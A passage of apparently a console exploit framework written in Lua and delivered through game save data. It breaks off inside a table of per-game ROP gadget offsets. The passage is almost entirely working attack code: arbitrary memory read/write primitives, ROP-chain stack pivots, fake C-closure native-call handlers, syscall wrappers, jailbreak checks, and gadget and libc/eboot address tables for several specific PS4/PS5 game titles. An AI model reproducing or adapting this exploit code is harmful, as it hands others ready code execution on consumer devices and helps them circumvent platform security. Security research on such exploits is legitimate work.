initially uses lua weak r/w primitives 6 | -- once native handler is registered, this class will be upgraded to arbitrary r/w primitives 7 | -- 8 | 9 | memory = {} 10 | 11 | -- this fn will always return zeroed buffer 12 | function memory.alloc(size) 13 | if native_invoke then 14 | return native.fcall(libc_addrofs.calloc, size, 1) 15 | else 16 | -- compensate for write corruption by lua primitive 17 | size = align_16(size + 8) 18 | return bump.alloc(size) 19 | end 20 | end 21 | 22 | function memory.read_buffer(addr, size) 23 | assert(addr and size) 24 | if native_invoke then 25 | return native.read_buffer(addr, size) 26 | else 27 | return lua.read_buffer(addr, size) 28 | end 29 | end 30 | 31 | function memory.read_byte(addr) 32 | local value = memory.read_buffer(addr, 1) 33 | return value and #value == 1 and uint64.unpack(value) or nil 34 | end 35 | 36 | function memory.read_word(addr) 37 | local value = memory.read_buffer(addr, 2) 38 | return value and #value == 2 and uint64.unpack(value) or nil 39 | end 40 | 41 | function memory.read_dword(addr) 42 | local value = memory.read_buffer(addr, 4) 43 | return value and #value == 4 and uint64.unpack(value) or nil 44 | end 45 | 46 | function memory.read_qword(addr) 47 | local value = memory.read_buffer(addr, 8) 48 | return value and #value == 8 and uint64.unpack(value) or nil 49 | end 50 | 51 | function memory.read_multiple_qwords(addr, count) 52 | local qwords = {} 53 | local buffer = memory.read_buffer(addr, count*8) 54 | for i=0,(#buffer/8)-1 do 55 | table.insert(qwords, uint64.unpack(buffer:sub(i*8+1, i*8+8))) 56 | end 57 | return qwords 58 | end 59 | 60 | function memory.write_buffer(dest, buffer) 61 | assert(native_invoke and dest and buffer) 62 | native.write_buffer(dest, buffer) 63 | end 64 | 65 | function memory.write_byte(dest, value) 66 | memory.write_buffer(dest, ub8(value):sub(1,1)) 67 | end 68 | 69 | function memory.write_word(dest, value) 70 | memory.write_buffer(dest, ub8(value):sub(1,2)) 71 | end 72 | 73 | function memory.write_dword(dest, value) 74 | memory.write_buffer(dest, ub8(value):sub(1,4)) 75 | end 76 | 77 | function memory.write_qword(dest, value) 78 | assert(dest and value) 79 | if native_invoke then 80 | memory.write_buffer(dest, ub8(value)) 81 | else 82 | -- weak primitive because of data corruption 83 | lua.write_qword(dest, value) 84 | end 85 | end 86 | 87 | function memory.write_multiple_qwords(addr, list) 88 | for i,v in ipairs(list) do 89 | memory.write_qword(addr+8*(i-1), list[i]) 90 | end 91 | end 92 | 93 | function memory.memcpy(dest, src, size) 94 | size = uint64(size):tonumber() 95 | if native_invoke then 96 | return native.fcall(libc_addrofs.memcpy, dest, src, size) 97 | else 98 | assert(size % 8 == 0) 99 | memory.write_multiple_qwords(dest, memory.read_multiple_qwords(src, size / 8)) 100 | end 101 | end 102 | 103 | function memory.hex_dump(addr, size) 104 | size = size or 0x40 105 | return hex_dump(memory.read_buffer(addr, size), addr) 106 | end 107 | 108 | function memory.read_null_terminated_string(addr) 109 | 110 | local result = "" 111 | 112 | while true do 113 | local chunk = memory.read_buffer(addr, 0x8) 114 | local null_pos = chunk:find("\0") 115 | if null_pos then 116 | return result .. chunk:sub(1, null_pos - 1) 117 | end 118 | result = result .. chunk 119 | addr = addr + #chunk 120 | end 121 | 122 | if string.byte(result[1]) == 0 then 123 | return nil 124 | end 125 | 126 | return result 127 | end 128 | -------------------------------------------------------------------------------- /savedata/misc.lua: -------------------------------------------------------------------------------- 1 | 2 | -- 3 | -- misc functions 4 | -- 5 | 6 | function printf(fmt, ...) 7 | print(string.format(fmt, ...)) 8 | end 9 | 10 | function notify(s) 11 | e:tag{"dialog", title="", message=s} 12 | end 13 | 14 | function error(s) 15 | assert(false, s) 16 | end 17 | 18 | function errorf(fmt, ...) 19 | error(string.format(fmt, ...)) 20 | end 21 | 22 | function prepare_arguments(...) 23 | local s = "" 24 | for i,v in ipairs(arg) do 25 | s = s .. tostring(v) 26 | if i < #arg then 27 | s = s .. "\t" 28 | end 29 | end 30 | return s 31 | end 32 | 33 | function file_exists(name) 34 | local f = io.open(name, "r") 35 | if f ~= nil then 36 | io.close(f) 37 | return true 38 | else 39 | return false 40 | end 41 | end 42 | 43 | function file_write(filename, data, mode) 44 | local fd = io.open(filename, mode or "wb") 45 | fd:write(data) 46 | fd:close() 47 | end 48 | 49 | function file_read(filename, mode) 50 | return io.open(filename, mode):read("*all") 51 | end 52 | 53 | function hex_dump(buf, addr) 54 | addr = addr or 0 55 | local result = {} 56 | for i = 1, #buf, 16 do 57 | local chunk = buf:sub(i, i+15) 58 | local hexstr = chunk:gsub('.', function(c) 59 | return string.format('%02X ', string.byte(c)) 60 | end) 61 | local ascii = chunk:gsub('.', function(c) 62 | local byte = string.byte(c) 63 | return (byte >= 32 and byte <= 126) and c or '.' 64 | end) 65 | table.insert(result, string.format('%s %-48s %s', hex(addr+i-1), hexstr, ascii)) 66 | end 67 | return table.concat(result, '\n') 68 | end 69 | 70 | function hex_to_binary(hex) 71 | return (hex:gsub('..', function(cc) 72 | return string.char(tonumber(cc, 16)) 73 | end)) 74 | end 75 | 76 | function bin_to_hex(str) 77 | return (str:gsub('.', function(c) 78 | return string.format('%02x', string.byte(c)) 79 | end)) 80 | end 81 | 82 | function load_bytecode(data) 83 | local bc, err = loadstring(hex_to_binary(data:gsub("%s+", ""))) 84 | assert(bc, "error while loading bytecode: " .. tostring(err)) 85 | return bc 86 | end 87 | 88 | function run_with_coroutine(f) 89 | local co = coroutine.create(f) 90 | local ok, result = coroutine.resume(co) 91 | if not ok then 92 | local traceback = debug.traceback(co) .. debug.traceback():sub(17) 93 | return result .. "\n" .. traceback 94 | end 95 | end 96 | 97 | function run_nogc(f) 98 | collectgarbage("stop") 99 | f() 100 | collectgarbage("restart") 101 | end 102 | 103 | function dump_table(o, depth, indent) 104 | depth = depth or 2 105 | indent = indent or 0 106 | if depth < 1 then 107 | return string.format("%q", tostring(o)) 108 | end 109 | local function get_indent(level) 110 | return string.rep(" ", level) 111 | end 112 | if is_uint64(o) then 113 | return string.format("%s", hex(o)) 114 | elseif type(o) == 'table' then 115 | local s = '{\n' 116 | local inner_indent = indent + 1 117 | for k, v in pairs(o) do 118 | s = s .. get_indent(inner_indent) 119 | if type(k) ~= 'number' then 120 | k = '"' .. k .. '"' 121 | end 122 | s = s .. '[' .. k .. '] = ' .. dump_table(v, depth - 1, inner_indent) 123 | s = s .. ',\n' 124 | end 125 | s = s .. get_indent(indent) .. '}' 126 | return s 127 | else 128 | return tostring(o) 129 | end 130 | end 131 | 132 | function align_to(v,n) 133 | if is_uint64(v) then 134 | n = uint64(n) 135 | end 136 | return v + (n - v % n) % n 137 | end 138 | 139 | function align_16(v) 140 | return align_to(v, 16) 141 | end 142 | 143 | function find_pattern(buffer, pattern) 144 | local pat = pattern:gsub("%S+", function(b) 145 | return b == "?" and "." or string.char(tonumber(b, 16)) 146 | end):gsub("%s+", "") 147 | local matches, start = {}, 1 148 | while true do 149 | local s = buffer:find(pat, start) 150 | if not s then break end 151 | matches[#matches+1], start = s, s+1 152 | end 153 | return matches 154 | end 155 | 156 | function get_error_string() 157 | local strerror = fcall(libc_addrofs.strerror) 158 | local error_func = fcall(libc_addrofs.error) 159 | local errno = memory.read_qword(error_func()) 160 | return errno:tonumber() .. " " .. memory.read_null_terminated_string(strerror(errno)) 161 | end 162 | 163 | function sysctlbyname(name, oldp, oldp_len, newp, newp_len) 164 | 165 | local translate_name_mib = memory.alloc(0x8) 166 | local buf_size = 0x70 167 | local mib = memory.alloc(buf_size) 168 | local size = memory.alloc(0x8) 169 | 170 | memory.write_qword(translate_name_mib, 0x300000000) 171 | memory.write_qword(size, buf_size) 172 | 173 | if syscall.sysctl(translate_name_mib, 2, mib, size, name, #name):tonumber() < 0 then 174 | errorf("failed to translate sysctl name to mib (%s)", name) 175 | end 176 | 177 | if syscall.sysctl(mib, 2, oldp, oldp_len, newp, newp_len):tonumber() < 0 then 178 | return false 179 | end 180 | 181 | return true 182 | end 183 | 184 | function get_version() 185 | 186 | local version = nil 187 | 188 | local buf = memory.alloc(0x8) 189 | local size = memory.alloc(0x8) 190 | memory.write_qword(size, 0x8) 191 | 192 | if sysctlbyname("kern.sdk_version", buf, size, 0, 0) then 193 | local ver = memory.read_buffer(buf+2, 2) 194 | version = string.format('%x.%02x', string.byte(ver:sub(2,2)), string.byte(ver:sub(1,1))) 195 | end 196 | 197 | return version 198 | end 199 | 200 | -- note: unsupported value types are ignored in the result 201 | function serialize(t) 202 | local function ser(o) 203 | if type(o) == "number" or type(o) == "boolean" then 204 | return tostring(o) 205 | elseif type(o) == "string" then 206 | return string.format("%q", o) 207 | elseif is_uint64(o) then 208 | return string.format("uint64(%q)", hex(o)) 209 | elseif type(o) == "table" then 210 | local s = "{" 211 | for k, v in pairs(o) do 212 | local key 213 | if type(k) == "string" then 214 | key = "[" .. string.format("%q", k) .. "]" 215 | else 216 | key = "[" .. tostring(k) .. "]" 217 | end 218 | s = s .. key .. "=" .. ser(v) .. "," 219 | end 220 | return s .. "}" 221 | else 222 | return "nil" 223 | end 224 | end 225 | return ser(t) 226 | end 227 | 228 | function deserialize(s) 229 | local env = setmetatable({uint64 = uint64}, {__index = _G}) 230 | local f = assert(loadstring("return " .. s, "deserialize", "t", env)) 231 | return f() 232 | end 233 | 234 | function to_ns(value, unit) 235 | unit = unit:lower() 236 | local conversions = { 237 | ns = 1, -- nanoseconds 238 | us = 1e3, -- microseconds 239 | ms = 1e6, -- milliseconds 240 | s = 1e9, -- seconds 241 | } 242 | if conversions[unit] then 243 | return value * conversions[unit] 244 | else 245 | error("unsupported time unit: " .. unit) 246 | end 247 | end 248 | 249 | function nanosleep(nsec) 250 | local timespec = memory.alloc(0x10) 251 | memory.write_qword(timespec, math.floor(nsec / 1e9)) -- tv_sec 252 | memory.write_qword(timespec + 8, nsec % 1e9) -- tv_nsec 253 | if syscall.nanosleep(timespec):tonumber() == -1 then 254 | error("nanosleep() error: " .. get_error_string()) 255 | end 256 | end 257 | 258 | function sleep(val, unit) 259 | unit = unit or 's' 260 | if native_invoke then 261 | return nanosleep(to_ns(val, unit)) 262 | else 263 | if unit ~= 's' then 264 | error("sleep() only support second if native exec is not available") 265 | end 266 | local sec = tonumber(os.clock() + val); 267 | while (os.clock() < sec) do end 268 | end 269 | end 270 | 271 | function send_ps_notification(text) 272 | 273 | local notify_buffer_size = 0xc30 274 | local notify_buffer = memory.alloc(notify_buffer_size) 275 | local icon_uri = "cxml://psnotification/tex_icon_system" 276 | 277 | -- credits to OSM-Made for this one. @ https://github.com/OSM-Made/PS4-Notify 278 | memory.write_dword(notify_buffer + 0, 0) -- type 279 | memory.write_dword(notify_buffer + 0x28, 0) -- unk3 280 | memory.write_dword(notify_buffer + 0x2C, 1) -- use_icon_image_uri 281 | memory.write_dword(notify_buffer + 0x10, -1) -- target_id 282 | memory.write_buffer(notify_buffer + 0x2D, text) -- message 283 | memory.write_buffer(notify_buffer + 0x42D, icon_uri) -- uri 284 | 285 | local notification_fd = syscall.open("/dev/notification0", O_WRONLY):tonumber() 286 | if notification_fd < 0 then 287 | error("open() error: " .. get_error_string()) 288 | end 289 | 290 | syscall.write(notification_fd, notify_buffer, notify_buffer_size) 291 | syscall.close(notification_fd) 292 | end 293 | 294 | function create_pipe() 295 | 296 | local fildes = memory.alloc(0x10) 297 | 298 | if PLATFORM == "ps5" then 299 | 300 | -- HACK: current syscall wrapper that we use in ps5 (gettimeofday) doesn't 301 | -- handle pipe() return values correctly (rax/rdx). use rop to manually 302 | -- get the return values 303 | 304 | local chain = ropchain() 305 | chain:push_syscall(syscall.pipe) 306 | chain:push_store_rax_into_memory(fildes) 307 | chain:push_store_rdx_into_memory(fildes + 4) 308 | chain:restore_through_longjmp() 309 | chain:execute_through_coroutine() 310 | else 311 | if syscall.pipe(fildes):tonumber() == -1 then 312 | error("pipe() error: " .. get_error_string()) 313 | end 314 | end 315 | 316 | local read_fd = memory.read_dword(fildes):tonumber() 317 | local write_fd = memory.read_dword(fildes+4):tonumber() 318 | 319 | return read_fd, write_fd 320 | end 321 | 322 | function map_fixed_address(addr, size) 323 | 324 | syscall.resolve({ 325 | mmap = 477, 326 | }) 327 | 328 | local MAP_COMBINED = bit32.bor(MAP_PRIVATE, MAP_FIXED, MAP_ANONYMOUS) 329 | local PROT_COMBINED = bit32.bor(PROT_READ, PROT_WRITE) 330 | 331 | local ret = syscall.mmap(addr, size, PROT_COMBINED, MAP_COMBINED, -1 ,0) 332 | if ret:tonumber() < 0 then 333 | error("mmap() error: " .. get_error_string()) 334 | end 335 | 336 | return ret 337 | end 338 | 339 | function check_memory_access(addr, check_size) 340 | 341 | if not memory.pipe_initialized then 342 | local read_fd, write_fd = create_pipe() 343 | memory.pipe_read_fd = read_fd 344 | memory.pipe_write_fd = write_fd 345 | memory.pipe_buf = memory.alloc(0x1000) 346 | memory.pipe_initialized = true 347 | end 348 | 349 | check_size = check_size or 1 350 | 351 | local actual_write_size = syscall.write(memory.pipe_write_fd, addr, check_size):tonumber() 352 | local result = actual_write_size == check_size 353 | if not result then 354 | return false 355 | end 356 | 357 | if actual_write_size > 1 then 358 | local actual_read_size = syscall.read(memory.pipe_read_fd, memory.pipe_buf, check_size):tonumber() 359 | if actual_read_size ~= actual_write_size then 360 | return false 361 | end 362 | end 363 | 364 | return result 365 | end 366 | 367 | function is_jailbroken() 368 | local cur_uid = syscall.getuid():tonumber() 369 | local is_in_sandbox = syscall.is_in_sandbox():tonumber() 370 | return cur_uid == 0 and is_in_sandbox == 0 371 | end 372 | 373 | function check_jailbroken() 374 | if not is_jailbroken() then 375 | error("process is not jailbroken") 376 | end 377 | end 378 | 379 | function load_prx(path) 380 | 381 | local handle_out = memory.alloc(0x4) 382 | 383 | if syscall.dynlib_load_prx(path, 0x0, handle_out, 0x0):tonumber() ~= 0x0 then 384 | error("dynlib_load_prx() error: " .. get_error_string()) 385 | end 386 | 387 | return memory.read_dword(handle_out) 388 | end 389 | 390 | function dlsym(handle, sym) 391 | 392 | -- check_jailbroken() 393 | assert(type(sym) == "string") 394 | 395 | local addr_out = memory.alloc(0x8) 396 | 397 | if syscall.dlsym(handle, sym, addr_out):tonumber() == -1 then 398 | error("dlsym() error: " .. get_error_string()) 399 | end 400 | 401 | return memory.read_qword(addr_out) 402 | end 403 | 404 | function get_title_id() 405 | 406 | local sceKernelGetAppInfo = fcall(dlsym(LIBKERNEL_HANDLE, "sceKernelGetAppInfo")) 407 | 408 | local app_info = memory.alloc(0x100) 409 | 410 | if sceKernelGetAppInfo(syscall.getpid(), app_info):tonumber() ~= 0 then 411 | error("sceKernelGetAppInfo() error: " .. hex(ret)) 412 | end 413 | 414 | return memory.read_null_terminated_string(app_info + 0x10) 415 | end 416 | 417 | -- note: this is only for current process 418 | function find_mod_by_name(name) 419 | 420 | local sceKernelGetModuleListInternal = fcall(dlsym(LIBKERNEL_HANDLE, "sceKernelGetModuleListInternal")) 421 | local sceKernelGetModuleInfo = fcall(dlsym(LIBKERNEL_HANDLE, "sceKernelGetModuleInfo")) 422 | 423 | local mem = memory.alloc(4 * 0x300) 424 | local actual_num = memory.alloc(8) 425 | 426 | sceKernelGetModuleListInternal(mem, 0x300, actual_num) 427 | 428 | local num = memory.read_qword(actual_num):tonumber() 429 | for i=0,num-1 do 430 | 431 | local handle = memory.read_dword(mem + i*4) 432 | local info = memory.alloc(0x160) 433 | memory.write_qword(info, 0x160) 434 | 435 | sceKernelGetModuleInfo(handle, info) 436 | 437 | local mod_name = memory.read_null_terminated_string(info + 8) 438 | if name == mod_name then 439 | 440 | local base_addr = memory.read_qword(info + 0x108) 441 | return { 442 | handle = handle, 443 | base_addr = base_addr, 444 | } 445 | end 446 | end 447 | 448 | return nil 449 | end 450 | 451 | 452 | 453 | 454 | -- store data that persists across payload executions 455 | 456 | storage = {} 457 | storage.data = {} 458 | 459 | function storage.set(k, v) 460 | assert(type(k) == "string") 461 | storage.data[k] = serialize(v) 462 | end 463 | 464 | function storage.get(k) 465 | if not storage.data[k] then 466 | return nil 467 | end 468 | return deserialize(storage.data[k]) 469 | end 470 | 471 | function storage.del(k) 472 | storage.data[k] = nil 473 | end 474 | 475 | function storage.list() 476 | local out = {} 477 | table.insert(out, "storage list:") 478 | for k,v in pairs(storage.data) do 479 | if #v < 128 then 480 | table.insert(out, string.format("%s => %s", k, v)) 481 | else 482 | table.insert(out, string.format("%s => ... (size = %d bytes)", k, #v)) 483 | end 484 | end 485 | return table.concat(out, '\n') 486 | end -------------------------------------------------------------------------------- /savedata/native.lua: -------------------------------------------------------------------------------- 1 | 2 | native_cmd = { 3 | read_buffer = 0, 4 | write_buffer = 1, 5 | fcall = 2, 6 | } 7 | 8 | native = {} 9 | 10 | function native.register() 11 | 12 | local pivot_handler = gadgets.stack_pivot[2] 13 | native.pivot_handler_rop = native.setup_pivot_handler(pivot_handler) 14 | 15 | native_cmd_handler = native.create_cmd_handler() 16 | native_invoke = lua.create_fake_cclosure(pivot_handler.gadget_addr) 17 | 18 | syscall.do_sanity_check() 19 | end 20 | 21 | function native.get_lua_opt(chain, fn, a1, a2, a3) 22 | chain:push_fcall_raw(fn, function() 23 | chain:push_set_rdx(a3) 24 | chain:push_set_rsi(a2) 25 | chain:push_set_reg_from_memory("rdi", a1) 26 | end) 27 | chain:push_store_retval() 28 | end 29 | 30 | function native.gen_fcall_chain(lua_state) 31 | 32 | local chain = ropchain() 33 | 34 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 3, 0) -- 1 - fn addr 35 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 4, 0) -- 2 - rax (for syscall) 36 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 5, 0) -- 3 - rdi 37 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 6, 0) -- 4 - rsi 38 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 7, 0) -- 5 - rdx 39 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 8, 0) -- 6 - rcx 40 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 9, 0) -- 7 - r8 41 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 10, 0) -- 8 - r9 42 | 43 | local prep_arg_callback = function() 44 | chain:push_set_reg_from_memory("r9", chain.retval_addr[8]) 45 | chain:push_set_reg_from_memory("r8", chain.retval_addr[7]) 46 | chain:push_set_reg_from_memory("rcx", chain.retval_addr[6]) 47 | chain:push_set_reg_from_memory("rdx", chain.retval_addr[5]) 48 | chain:push_set_reg_from_memory("rsi", chain.retval_addr[4]) 49 | chain:push_set_reg_from_memory("rdi", chain.retval_addr[3]) 50 | chain:push_set_rax_from_memory(chain.retval_addr[2]) 51 | end 52 | 53 | chain:push_fcall_raw(chain.retval_addr[1], prep_arg_callback, true) 54 | chain:push_store_retval() 55 | 56 | -- pass return value to caller 57 | chain:push_fcall_raw(eboot_addrofs.lua_pushinteger, function() 58 | chain:push_set_reg_from_memory("rsi", chain:get_last_retval_addr()) 59 | chain:push_set_reg_from_memory("rdi", lua_state) 60 | end) 61 | 62 | return chain 63 | end 64 | 65 | function native.gen_read_buffer_chain(lua_state) 66 | 67 | local chain = ropchain() 68 | 69 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 3, 0) -- 1 - addr to read 70 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 4, 0) -- 2 - size 71 | 72 | chain:push_fcall_raw(eboot_addrofs.lua_pushlstring, function() 73 | chain:push_set_reg_from_memory("rdx", chain.retval_addr[2]) 74 | chain:push_set_reg_from_memory("rsi", chain.retval_addr[1]) 75 | chain:push_set_reg_from_memory("rdi", lua_state) 76 | end) 77 | 78 | return chain 79 | end 80 | 81 | function native.gen_write_buffer_chain(lua_state) 82 | 83 | local chain = ropchain() 84 | 85 | chain.string_len = memory.alloc(0x8) 86 | 87 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, lua_state, 3, 0) -- 1 - dest to write 88 | native.get_lua_opt(chain, eboot_addrofs.luaL_checklstring, lua_state, 4, chain.string_len) -- 2 - src buffer 89 | 90 | chain:push_fcall_raw(libc_addrofs.memcpy, function() 91 | chain:push_set_reg_from_memory("rdx", chain.string_len) 92 | chain:push_set_reg_from_memory("rsi", chain.retval_addr[2]) 93 | chain:push_set_reg_from_memory("rdi", chain.retval_addr[1]) 94 | end) 95 | 96 | return chain 97 | end 98 | 99 | function native.setup_cmd_handler(pivot_handler) 100 | 101 | -- todo: setting hardcoded offset like this is bad. improve this 102 | local stack_offset = -0x78 103 | if game_name == "HamidashiCreative" or game_name == "Aikagi2" or game_name == "JinkiResurrection" then 104 | stack_offset = -0x68 105 | end 106 | 107 | local chain = ropchain() 108 | 109 | chain.jmpbuf = memory.alloc(0x100) 110 | chain.jump_table = memory.alloc(0x8 * 16) 111 | 112 | -- unlock native handler for other threads 113 | chain:push_fcall(libc_addrofs.Mtx_unlock, pivot_handler.lock) 114 | 115 | -- hacky way to recover rbp & r13 116 | chain:push_fcall(libc_addrofs.setjmp, chain.jmpbuf) 117 | chain:push_set_rax_from_memory(chain.jmpbuf+0x18) -- get rbp 118 | 119 | -- fix jmpbuf 120 | chain:push_add_to_rax(stack_offset) -- calc rsp from rbp 121 | chain:push_store_rax_into_memory(chain.jmpbuf+0x10) -- fix rsp 122 | chain:push(gadgets["mov rax, [rax]; ret"]) -- get ret addr from rsp 123 | chain:push_store_rax_into_memory(chain.jmpbuf) -- fix rip 124 | 125 | chain.lua_state = chain.jmpbuf + 0x28 -- r13 (lua state) 126 | 127 | -- get native cmd option from caller 128 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, chain.lua_state, 2, 0) 129 | 130 | -- pivot to appropriate handler 131 | chain:push_set_rax_from_memory(chain:get_last_retval_addr()) 132 | chain:dispatch_jumptable_with_rax_index(chain.jump_table) 133 | 134 | return chain 135 | end 136 | 137 | function native.setup_native_handler(command_handler) 138 | 139 | local handler = { 140 | native.gen_read_buffer_chain(command_handler.lua_state), 141 | native.gen_write_buffer_chain(command_handler.lua_state), 142 | native.gen_fcall_chain(command_handler.lua_state), 143 | } 144 | 145 | for i, each_handler in ipairs(handler) do 146 | each_handler:restore_through_longjmp(command_handler.jmpbuf) 147 | memory.write_qword(command_handler.jump_table + 8*(i-1), each_handler.stack_base) 148 | end 149 | 150 | return handler 151 | end 152 | 153 | function native.setup_pivot_handler(pivot_handler) 154 | 155 | local MTX_DEF = 0 -- DEFAULT (sleep) lock 156 | 157 | local Mtx_init = fcall(libc_addrofs.Mtx_init) 158 | 159 | map_fixed_address(pivot_handler.pivot_base, 0x2000) 160 | 161 | -- non modifying chains before fn call 162 | local push_fcall_with_hole = function(chain, fn_addr, ...) 163 | chain:push_sysv(...) 164 | chain:align_stack() 165 | chain:create_hole(0x500) 166 | chain:push(fn_addr) 167 | chain:push_write_qword_memory(chain:get_rsp() - 0x8, fn_addr) -- fix chain 168 | end 169 | 170 | local chain = ropchain({ 171 | stack_base = pivot_handler.pivot_addr, 172 | }) 173 | 174 | chain.lock = memory.alloc(0x8) 175 | Mtx_init(chain.lock, MTX_DEF) 176 | 177 | -- lock as this part might be called by multiple threads 178 | push_fcall_with_hole(chain, libc_addrofs.Mtx_lock, chain.lock) 179 | 180 | -- note: 181 | -- we assume that r13 will always point to lua state. 182 | -- this is at least true for aibeya / raspberry cube / hamidashi creative 183 | 184 | -- hacky way to recover lua state (r13) 185 | chain.jmpbuf = memory.alloc(0x100) 186 | chain.lua_state = chain.jmpbuf + 0x28 -- r13 187 | chain:push_fcall(libc_addrofs.setjmp, chain.jmpbuf) 188 | 189 | -- get native cmd handler from caller 190 | native.get_lua_opt(chain, eboot_addrofs.luaL_optinteger, chain.lua_state, 1, 0) 191 | 192 | -- pivot to native cmd handler 193 | chain:push_set_reg_from_memory("rsp", chain:get_last_retval_addr()) 194 | 195 | return chain 196 | end 197 | 198 | function native.create_cmd_handler() 199 | local cmd_handler = native.setup_cmd_handler(native.pivot_handler_rop) 200 | native.setup_native_handler(cmd_handler) 201 | return cmd_handler.stack_base:tonumber() 202 | end 203 | 204 | function native.fcall_with_rax(fn_addr, rax, rdi, rsi, rdx, rcx, r8, r9) 205 | assert(fn_addr) 206 | return uint64(native_invoke( 207 | native_cmd_handler, 208 | native_cmd.fcall, 209 | uint64(fn_addr):tonumber(), 210 | uint64(rax or 0):tonumber(), 211 | lua.resolve_value(rdi or 0):tonumber(), 212 | lua.resolve_value(rsi or 0):tonumber(), 213 | lua.resolve_value(rdx or 0):tonumber(), 214 | lua.resolve_value(rcx or 0):tonumber(), 215 | lua.resolve_value(r8 or 0):tonumber(), 216 | lua.resolve_value(r9 or 0):tonumber() 217 | )) 218 | end 219 | 220 | function native.fcall(fn_addr, rdi, rsi, rdx, rcx, r8, r9) 221 | return native.fcall_with_rax(fn_addr, nil, rdi, rsi, rdx, rcx, r8, r9) 222 | end 223 | 224 | function native.read_buffer(addr, size) 225 | assert(addr and size) 226 | return native_invoke( 227 | native_cmd_handler, 228 | native_cmd.read_buffer, 229 | lua.resolve_value(addr):tonumber(), 230 | lua.resolve_value(size):tonumber() 231 | ) 232 | end 233 | 234 | function native.write_buffer(addr, buf) 235 | assert(addr and buf) 236 | native_invoke( 237 | native_cmd_handler, 238 | native_cmd.write_buffer, 239 | lua.resolve_value(addr):tonumber(), 240 | buf 241 | ) 242 | end -------------------------------------------------------------------------------- /savedata/offsets.lua: -------------------------------------------------------------------------------- 1 | 2 | games_identification = { 3 | [0xbb0] = "RaspberryCube", 4 | [0xb90] = "Aibeya", 5 | [0x170] = "Aikagi2", 6 | [0x420] = "HamidashiCreative", 7 | [0x5d0] = "AikagiKimiIsshoniPack", 8 | [0x280] = "C", 9 | [0x600] = "E", 10 | [0xd80] = "IxSHETell", 11 | [0x660] = "NoraPrincess", -- CUSA13303 Nora Princess and Stray Cat Heart HD, 12 | [0xb10] = "JinkiResurrection", -- CUSA25179 13 | } 14 | 15 | gadget_table = { 16 | raspberry_cube = { 17 | gadgets = { 18 | ["ret"] = 0xd2811, 19 | 20 | ["pop rsp; ret"] = 0xa12, 21 | ["pop rbp; ret"] = 0x79, 22 | ["pop rax; ret"] = 0xa02, 23 | ["pop rbx; ret"] = 0x5dce6, 24 | ["pop rcx; ret"] = 0x147cf, 25 | ["pop rdx; ret"] = 0x53762, 26 | ["pop rdi; ret"] = 0x467c69, 27 | ["pop rsi; ret"] = 0xd2810, 28 | ["pop r8; ret"] = 0xa01, 29 | ["mov r9, rbx; call [rax + 8]"] = 0x14a9a0, 30 | 31 | ["mov [rax + 8], rcx; ret"] = 0x135aea, 32 | ["mov [rax + 0x28], rdx; ret"] = 0x148b9f, 33 | ["mov [rcx + 0xa0], rdi; ret"] = 0xd0bbe, 34 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x116792, 35 | ["add rax, r8; ret"] = 0xa893, 36 | 37 | ["mov [rdi], rsi; ret"] = 0xd0d7f, 38 | ["mov [rdi], rax; ret"] = 0x9522b, 39 | ["mov [rdi], eax; ret"] = 0x9522c, 40 | ["add [rbx], eax; ret"] = 0x4091a3, 41 | ["add [rbx], ecx; ret"] = nil, 42 | ["mov rax, [rax]; ret"] = 0x1fd5b, 43 | ["inc dword [rax]; ret"] = 0x1a12eb, 44 | 45 | -- branching specific gadgets 46 | ["cmp [rax], ebx; ret"] = 0x3e86a8, 47 | ["sete al; ret"] = 0x538c7, 48 | ["setne al; ret"] = 0x556, 49 | ["seta al; ret"] = 0x166fce, 50 | ["setb al; ret"] = 0x5dd64, 51 | ["setg al; ret"] = nil, 52 | ["setl al; ret"] = 0xcb0da, 53 | ["shl rax, cl; ret"] = 0xd5611, 54 | ["add rax, rcx; ret"] = 0x354be, 55 | 56 | stack_pivot = { 57 | ["mov esp, 0xfb0000bd; ret"] = 0x3963d4, -- crash handler 58 | ["mov esp, 0xf00000b9; ret"] = 0x39c11c, -- native handler 59 | } 60 | }, 61 | eboot_addrofs = { 62 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 63 | luaB_auxwrap = 0x1a7bb0, -- to resolve eboot base 64 | longjmp_import = 0x619388, -- to resolve libc base 65 | 66 | luaL_optinteger = 0x1a5590, 67 | luaL_checklstring = 0x1a5180, 68 | lua_pushlstring = 0x1a3280, 69 | lua_pushinteger = 0x1a3260, 70 | 71 | luaL_newstate = 0x1a64d0, 72 | luaL_openlibs = 0x1b06e0, 73 | lua_setfield = 0x1a3d40, 74 | luaL_loadstring = 0x1a6460, 75 | lua_pcall = 0x1a43e0, 76 | lua_pushcclosure = 0x1a3490, 77 | lua_tolstring = 0x1a2990, 78 | lua_pushstring = 0x1a32e0, 79 | }, 80 | libc_addrofs = { 81 | calloc = 0x58a50, 82 | memcpy = 0x4e9d0, 83 | setjmp = 0xb6860, 84 | longjmp = 0xb68b0, 85 | strerror = 0x42e40, 86 | error = 0x178, 87 | sceKernelGetModuleInfoFromAddr = 0x1a8, 88 | gettimeofday_import = 0x11c010, -- syscall wrapper 89 | 90 | Thrd_join = 0x57ed0, 91 | Thrd_exit = 0x57f50, 92 | Thrd_create = 0x58060, 93 | 94 | Mtx_init = 0x582e0, 95 | Mtx_lock = 0x58370, 96 | Mtx_unlock = 0x58360, 97 | 98 | Atomic_fetch_add_8 = 0x44240, 99 | } 100 | }, 101 | aibeya = { 102 | gadgets = { 103 | ["ret"] = 0x4c, 104 | 105 | ["pop rsp; ret"] = 0xa02, 106 | ["pop rbp; ret"] = 0x79, 107 | ["pop rax; ret"] = 0x9f2, 108 | ["pop rbx; ret"] = 0x60876, 109 | ["pop rcx; ret"] = 0x14a7f, 110 | ["pop rdx; ret"] = 